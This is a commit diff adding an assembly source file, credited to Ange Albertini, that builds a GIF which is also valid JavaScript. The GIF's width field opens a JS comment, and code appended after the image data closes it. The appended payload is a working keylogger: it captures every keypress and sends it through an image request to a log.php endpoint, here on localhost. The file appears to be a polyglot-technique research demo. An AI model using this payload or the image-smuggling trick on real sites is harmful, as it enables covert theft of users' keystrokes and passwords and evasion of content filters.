Create gifjs.asm

gifjs.asm

@@ -0,0 +1,54 @@
+; a hand-made GIF containing valid JavaScript code
+; abusing header to start a JavaScript comment
+
+; inspired by Saumil Shah's Deadly Pixels presentation
+
+; Ange Albertini, BSD Licence 2013
+
+WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
+
+HEIGTH equ 10 ; just to make it easier to spot
+
+db 'GIF89a'
+    dw WIDTH, HEIGTH
+
+db 0 ; GCT
+    db -1 ;  background color
+    db 0 ; default aspect ratio
+    ;db 0fch, 0feh, 0fch
+    ;times COLORS db 0, 0, 0
+    
+; no need of Graphic Control Extension
+ ; db 21h, 0f9h
+ ; db GCESIZE ; size
+ ; gce_start:
+ ;     db 0 ; transparent background
+ ;     dw 0 ; delay for anim
+ ;     db 0 ; other transparent
+ ; GCESIZE equ $ - gce_start
+ ;     db 0 ; end of GCE
+
+db 02ch ; Image descriptor
+    dw 0, 0 ; NW corner
+    dw WIDTH, HEIGTH ; w/h of image
+    db 0    ; color table
+
+db 2 ; lzw size
+
+;db DATASIZE
+;data_start:
+;    db 00, 01, 04, 04
+;    DATASIZE equ $ - data_start
+
+db 0
+db 3bh ; GIF terminator
+
+; end of the GIF
+
+db '*/'  ; closing the comment
+db '=1;' ; creating a fake use of that GIF89a string
+
+db 'window.setInterval(document.onkeypress = function(e){'
+db 'k = e.charCode?e.charCode:e.keyCode;'
+db 'new Image().src = 'http://localhost/keylog/log.php?a='+k;'
+db '});'